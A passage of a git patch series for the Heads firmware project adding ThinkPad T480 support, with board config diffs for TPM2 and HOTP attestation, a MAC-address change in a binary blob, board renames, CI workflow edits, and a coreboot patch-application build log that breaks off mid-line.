boards/t480/t480.config | 6 +++++- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/boards/t480-hotp/t480-hotp.config b/boards/t480-hotp/t480-hotp.config index 7da65f1d8..8368151bc 100644 --- a/boards/t480-hotp/t480-hotp.config +++ b/boards/t480-hotp/t480-hotp.config @@ -62,7 +62,11 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y -export CONFIG_TPM=y +#TPM2 requirements +export CONFIG_TPM2_TOOLS=y +export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +#export CONFIG_TPM=y #Enable DEBUG output, debug output probably a good idea for first tests export CONFIG_DEBUG_OUTPUT=y export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n diff --git a/boards/t480/t480.config b/boards/t480/t480.config index 0d87ec978..e9f9a3bcf 100644 --- a/boards/t480/t480.config +++ b/boards/t480/t480.config @@ -62,7 +62,11 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y -export CONFIG_TPM=y +#TPM2 requirements +export CONFIG_TPM2_TOOLS=y +export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +#export CONFIG_TPM=y #Enable DEBUG output, debug output probably a good idea for first tests export CONFIG_DEBUG_OUTPUT=y export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n From 1391bf97f7db4b77bc0ed45faa76f70809775456 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 13 Feb 2025 20:25:45 -0500 Subject: [PATCH 32/50] t480 board configs: revew vs nv41, unify between each other and enable TRACING Debug that was missing: CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y All of this is because we tried to adapt from t400p which is tpm1 instead of librem_14v3 which is really similar to this board. Note that we currently use a duplicate of librem14v3 linux config. Signed-off-by: Thierry Laurion --- boards/t480-hotp/t480-hotp.config | 15 +++++++++------ boards/t480/t480.config | 15 +++++++++------ 2 files changed, 18 insertions(+), 12 deletions(-) diff --git a/boards/t480-hotp/t480-hotp.config b/boards/t480-hotp/t480-hotp.config index 8368151bc..b16b3af96 100644 --- a/boards/t480-hotp/t480-hotp.config +++ b/boards/t480-hotp/t480-hotp.config @@ -17,6 +17,7 @@ CONFIG_LINUX_CONFIG=config/linux-t480.config #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y +#TODO: validate that E1000E is needed or E1000 CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y @@ -40,15 +41,15 @@ export CONFIG_FINALIZE_PLATFORM_LOCKING=y # TPM2 requirements CONFIG_TPM2_TSS=y CONFIG_OPENSSL=y +#Remote Attestation common tools CONFIG_POPT=y CONFIG_QRENCODE=y CONFIG_TPMTOTP=y #HOTP based remote attestation for supported USB Security dongle #With/Without TPM support CONFIG_HOTPKEY=y - -#Nitrokey Storage admin tool -CONFIG_NKSTORECLI=n +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n #GUI Support #Console based Whiptail support(Console based, no FB): @@ -62,14 +63,17 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 #TPM2 requirements export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export CONFIG_TPM=y -#Enable DEBUG output, debug output probably a good idea for first tests +#Enable DEBUG output, debug output probably a good idea for first tests TODO:remove prior of merge export CONFIG_DEBUG_OUTPUT=y -export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y #Enable TPM2 pcap output under /tmp export CONFIG_TPM2_CAPTURE_PCAP=n #Enable quiet mode: technical information logged under /tmp/debug.log, not quiet for first test @@ -81,7 +85,6 @@ export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T480-hotp-maximized" export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -export CONFIG_AUTO_BOOT_TIMEOUT=5 #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx80_me_blobs diff --git a/boards/t480/t480.config b/boards/t480/t480.config index e9f9a3bcf..5af110272 100644 --- a/boards/t480/t480.config +++ b/boards/t480/t480.config @@ -17,6 +17,7 @@ CONFIG_LINUX_CONFIG=config/linux-t480.config #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y +#TODO: validate that E1000E is needed or E1000 CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y @@ -40,15 +41,15 @@ export CONFIG_FINALIZE_PLATFORM_LOCKING=y # TPM2 requirements CONFIG_TPM2_TSS=y CONFIG_OPENSSL=y +#Remote Attestation common tools CONFIG_POPT=y CONFIG_QRENCODE=y CONFIG_TPMTOTP=y #HOTP based remote attestation for supported USB Security dongle #With/Without TPM support #CONFIG_HOTPKEY=y - -#Nitrokey Storage admin tool -CONFIG_NKSTORECLI=n +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n #GUI Support #Console based Whiptail support(Console based, no FB): @@ -62,14 +63,17 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 #TPM2 requirements export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export CONFIG_TPM=y -#Enable DEBUG output, debug output probably a good idea for first tests +#Enable DEBUG output, debug output probably a good idea for first tests TODO:remove prior of merge export CONFIG_DEBUG_OUTPUT=y -export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y #Enable TPM2 pcap output under /tmp export CONFIG_TPM2_CAPTURE_PCAP=n #Enable quiet mode: technical information logged under /tmp/debug.log, not quiet for first test @@ -81,7 +85,6 @@ export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T480-maximized" export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -export CONFIG_AUTO_BOOT_TIMEOUT=5 #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx80_me_blobs From 073d244e23ccb890d5699cacbe48719074524351 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Fri, 14 Feb 2025 10:23:03 +0100 Subject: [PATCH 33/50] remove resolved todo as config is now confirmed Signed-off-by: gaspar-ilom --- boards/t480-hotp/t480-hotp.config | 1 - boards/t480/t480.config | 1 - 2 files changed, 2 deletions(-) diff --git a/boards/t480-hotp/t480-hotp.config b/boards/t480-hotp/t480-hotp.config index b16b3af96..d022744eb 100644 --- a/boards/t480-hotp/t480-hotp.config +++ b/boards/t480-hotp/t480-hotp.config @@ -17,7 +17,6 @@ CONFIG_LINUX_CONFIG=config/linux-t480.config #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y -#TODO: validate that E1000E is needed or E1000 CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y diff --git a/boards/t480/t480.config b/boards/t480/t480.config index 5af110272..59b7d70d9 100644 --- a/boards/t480/t480.config +++ b/boards/t480/t480.config @@ -17,7 +17,6 @@ CONFIG_LINUX_CONFIG=config/linux-t480.config #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y -#TODO: validate that E1000E is needed or E1000 CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y From 5a50de6927468e600a3184ed8f57a78a16ac2a6d Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Fri, 14 Feb 2025 10:37:06 +0100 Subject: [PATCH 34/50] set the mac address to 00:de:ad:c0:ff:ee in the gbe.bin blob for the t480 Signed-off-by: gaspar-ilom --- blobs/xx80/gbe.bin | Bin 8192 -> 8192 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/blobs/xx80/gbe.bin b/blobs/xx80/gbe.bin index dfb2300d7734e85cb289ae431b3237604a0ce73d..5438dd42007dab661e87dd52eb15ab3331af5573 100644 GIT binary patch delta 46 jcmZp0XmDU-xVQGe|92DFDwu@5CkwKOZJd_Hk5v!=w(b$v delta 46 icmZp0XmDVYs%fu&+&z)4g2_5`vLK7t#%WpnSOo!nst?xy From b2637cec90929d3c1c709137ff271b150db618db Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 14 Feb 2025 11:49:33 -0500 Subject: [PATCH 35/50] t480 boards and coreboot config: rename to maximized since ifd reuses ME neutered space, confirmed Signed-off-by: Thierry Laurion --- .circleci/config.yml | 10 +++++----- .../t480-hotp-maximized.config} | 2 +- .../t480-maximized.config} | 2 +- ...boot-t480.config => coreboot-t480-maximized.config} | 0 4 files changed, 7 insertions(+), 7 deletions(-) rename boards/{t480-hotp/t480-hotp.config => t480-hotp-maximized/t480-hotp-maximized.config} (97%) rename boards/{t480/t480.config => t480-maximized/t480-maximized.config} (97%) rename config/{coreboot-t480.config => coreboot-t480-maximized.config} (100%) diff --git a/.circleci/config.yml b/.circleci/config.yml index 28f7fa536..07a0f63b8 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -246,8 +246,8 @@ workflows: # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache - build_and_persist: - name: t480-hotp - target: t480-hotp + name: t480-hotp-maximized + target: t480-hotp-maximized subcommand: "" requires: - x86-musl-cross-make @@ -520,11 +520,11 @@ workflows: # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache - build: - name: t480 - target: t480 + name: t480-maximized + target: t480-maximized subcommand: "" requires: - - t480-hotp + - t480-hotp-maximized # dasharo release, share 24.02.01 utils/crossgcc - build: diff --git a/boards/t480-hotp/t480-hotp.config b/boards/t480-hotp-maximized/t480-hotp-maximized.config similarity index 97% rename from boards/t480-hotp/t480-hotp.config rename to boards/t480-hotp-maximized/t480-hotp-maximized.config index d022744eb..1dcf97b81 100644 --- a/boards/t480-hotp/t480-hotp.config +++ b/boards/t480-hotp-maximized/t480-hotp-maximized.config @@ -11,7 +11,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=2412 export CONFIG_LINUX_VERSION=6.1.8 -CONFIG_COREBOOT_CONFIG=config/coreboot-t480.config +CONFIG_COREBOOT_CONFIG=config/coreboot-t480-maximized.config # TODO: Make a ThinkPad-common Linux config file. CONFIG_LINUX_CONFIG=config/linux-t480.config diff --git a/boards/t480/t480.config b/boards/t480-maximized/t480-maximized.config similarity index 97% rename from boards/t480/t480.config rename to boards/t480-maximized/t480-maximized.config index 59b7d70d9..ee20f0c43 100644 --- a/boards/t480/t480.config +++ b/boards/t480-maximized/t480-maximized.config @@ -11,7 +11,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=2412 export CONFIG_LINUX_VERSION=6.1.8 -CONFIG_COREBOOT_CONFIG=config/coreboot-t480.config +CONFIG_COREBOOT_CONFIG=config/coreboot-t480-maximized.config # TODO: Make a ThinkPad-common Linux config file. CONFIG_LINUX_CONFIG=config/linux-t480.config diff --git a/config/coreboot-t480.config b/config/coreboot-t480-maximized.config similarity index 100% rename from config/coreboot-t480.config rename to config/coreboot-t480-maximized.config From 796a6c338f6be1f5258ba1d9fe3133add52eed8e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 14 Feb 2025 11:58:48 -0500 Subject: [PATCH 36/50] t480: remove unneeded patches from libreboot under patches/coreboot-2412, resave in oldconfig (reenables compressed fsp) repro: - inspect patches applicability from patch trace if [ ! -e "/home/user/heads/build/x86/coreboot-2412/.patched" ]; then if [ -r patches/coreboot-2412.patch ]; then ( git apply --verbose --reject --binary --directory build/x86/coreboot-2412 ) < patches/coreboot-2412.patch || exit 1 ; fi && if [ -d patches/coreboot-2412 ] && [ -r patches/coreboot-2412 ] ; then for patch in patches/coreboot-2412/*.patch ; do echo "Applying patch file : $patch " ; ( git apply --verbose --reject --binary --directory build/x86/coreboot-2412 ) < $patch || exit 1 ; done ; fi && touch "/home/user/heads/build/x86/coreboot-2412/.patched"; fi Applying patch file : patches/coreboot-2412/0001-soc-intel-skylake-configure-usb-acpi.patch Checking patch build/x86/coreboot-2412/src/soc/intel/skylake/Kconfig... Checking patch build/x86/coreboot-2412/src/soc/intel/skylake/chipset.cb... Applied patch build/x86/coreboot-2412/src/soc/intel/skylake/Kconfig cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/skylake/chipset.cb cleanly. Applying patch file : patches/coreboot-2412/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch Checking patch build/x86/coreboot-2412/src/soc/intel/skylake/bootblock/pch.c... Applied patch build/x86/coreboot-2412/src/soc/intel/skylake/bootblock/pch.c cleanly. Applying patch file : patches/coreboot-2412/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch Checking patch build/x86/coreboot-2412/src/device/pci_rom.c... Checking patch build/x86/coreboot-2412/src/ec/lenovo/h8/acpi/ec.asl... Checking patch build/x86/coreboot-2412/src/ec/lenovo/h8/bluetooth.c... Checking patch build/x86/coreboot-2412/src/ec/lenovo/h8/wwan.c... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig.name... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/Makefile.mk... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/acpi/ec.asl... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/acpi/superio.asl... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/bootblock.c... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/devicetree.cb... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/ec.c... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/ec.h... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/gpio.h... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/ramstage.c... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/data.vbt... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gma-mainboard.ads... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gpio.c... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/hda_verb.c... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/memory_init_params.c... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/overridetree.cb... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/data.vbt... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gma-mainboard.ads... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gpio.c... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/hda_verb.c... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/memory_init_params.c... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/overridetree.cb... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_0.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_1.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_10.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_11.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_12.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_13.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_14.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_15.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_16.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_17.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_18.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_19.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_2.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_20.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_3.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_4.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_5.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_6.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_7.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_8.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_9.bin... Applied patch build/x86/coreboot-2412/src/device/pci_rom.c cleanly. Applied patch build/x86/coreboot-2412/src/ec/lenovo/h8/acpi/ec.asl cleanly. Applied patch build/x86/coreboot-2412/src/ec/lenovo/h8/bluetooth.c cleanly. Applied patch build/x86/coreboot-2412/src/ec/lenovo/h8/wwan.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig.name cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/Makefile.mk cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/acpi/ec.asl cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/acpi/superio.asl cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/bootblock.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/devicetree.cb cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/ec.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/ec.h cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/gpio.h cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/ramstage.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/data.vbt cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gma-mainboard.ads cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gpio.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/hda_verb.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/memory_init_params.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/overridetree.cb cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/data.vbt cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gma-mainboard.ads cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gpio.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/hda_verb.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/memory_init_params.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/overridetree.cb cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_0.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_1.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_10.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_11.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_12.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_13.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_14.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_15.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_16.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_17.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_18.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_19.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_2.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_20.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_3.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_4.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_5.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_6.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_7.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_8.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_9.bin cleanly. Applying patch file : patches/coreboot-2412/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/Kconfig... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/Kconfig.name... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/Makefile.mk... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/acpi/ec.asl... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/acpi/ich10_pci_irqs.asl... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/acpi/superio.asl... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/board_info.txt... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/cmos.default... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/cmos.layout... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/cstates.c... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/devicetree.cb... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/dsdt.asl... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/gma-mainboard.ads... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_mt/data.vbt... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_mt/early_init.c... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_mt/gpio.c... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_mt/hda_verb.c... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_mt/overridetree.cb... Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/Kconfig cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/Kconfig.name cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/Makefile.mk cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/acpi/ec.asl cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/acpi/ich10_pci_irqs.asl cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/acpi/superio.asl cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/board_info.txt cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/cmos.default cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/cmos.layout cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/cstates.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/devicetree.cb cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/dsdt.asl cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/gma-mainboard.ads cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_mt/data.vbt cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_mt/early_init.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_mt/gpio.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_mt/hda_verb.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_mt/overridetree.cb cleanly. Applying patch file : patches/coreboot-2412/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch Checking patch build/x86/coreboot-2412/util/ifdtool/ifdtool.c... Applied patch build/x86/coreboot-2412/util/ifdtool/ifdtool.c cleanly. Applying patch file : patches/coreboot-2412/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch Checking patch build/x86/coreboot-2412/payloads/Makefile.mk... Applied patch build/x86/coreboot-2412/payloads/Makefile.mk cleanly. Applying patch file : patches/coreboot-2412/0007-mb-dell-optiplex_780-Add-USFF-variant.patch Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/Kconfig... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/Kconfig.name... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_usff/data.vbt... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_usff/early_init.c... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_usff/gpio.c... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_usff/hda_verb.c... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_usff/overridetree.cb... Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/Kconfig cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/Kconfig.name cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_usff/data.vbt cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_usff/early_init.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_usff/gpio.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_usff/hda_verb.c cleanly. Applied patch 